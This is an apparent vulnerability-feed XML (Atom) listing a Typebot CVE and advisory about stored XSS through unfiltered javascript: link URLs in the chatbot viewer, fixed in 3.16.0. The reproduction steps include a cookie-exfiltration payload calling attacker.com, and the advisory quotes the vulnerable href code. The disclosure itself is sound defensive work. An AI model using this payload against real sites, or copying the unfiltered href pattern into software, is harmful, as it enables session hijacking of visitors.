<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-21T19:35:26.034679+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-320175</id>
    <title>EUVD-2026-320175</title>
    <updated>2026-10-21T19:35:26.036812+00:00</updated>
    <content>EUVD-2026-320175</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-320175"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-39964</id>
    <title>fkie_cve-2026-39964</title>
    <updated>2026-10-21T19:35:26.036846+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>TypeBot is a chatbot builder tool. In versions prior to 3.16.0, the Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. This can result in any authenticated Typebot user (including those on the free tier) being able to create a bot with this payload. Shared bots are publicly accessible — no victim authentication is required. This issue has been resolved in version 3.16.0.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-39964"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-hqmv-v56g-4m47</id>
    <title>GHSA-hqmv-v56g-4m47 — Typebot.io has stored XSS via `javascript`: URI in text bubble links — bot author executes JS on visitors' browsers</title>
    <updated>2026-10-21T19:35:26.036885+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: @typebot.io/js</p>
<p>### Summary</p>
<p>The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.</p>
<p>### Details</p>
<p>Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx`</p>
<p>```tsx
// Line 32 — href set directly from stored bot content, no javascript: filtering
&lt;a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"&gt;
  {elementDescendant.children[0].text}
&lt;/a&gt;
```</p>
<p>SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged.</p>
<p>The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping.</p>
<p>### Steps to Reproduce</p>
<p>```
1. Log in to Typebot as an authenticated user (any plan)
2. Create a new bot
3. Add a Text Bubble block
4. In the rich text editor, type any link text and set the URL to:
   javascript:fetch('https://attacker.com/?c='+document.cookie)
5. Publish the bot and open the live/embedded viewer
6. Click the link in the chatbot interface
7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com
```</p>
<p>Source-verified: `PlateBlock.tsx:32` renders `&lt;a href={url}&gt;` with no sch…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-hqmv-v56g-4m47"/>
  </entry>
</feed>
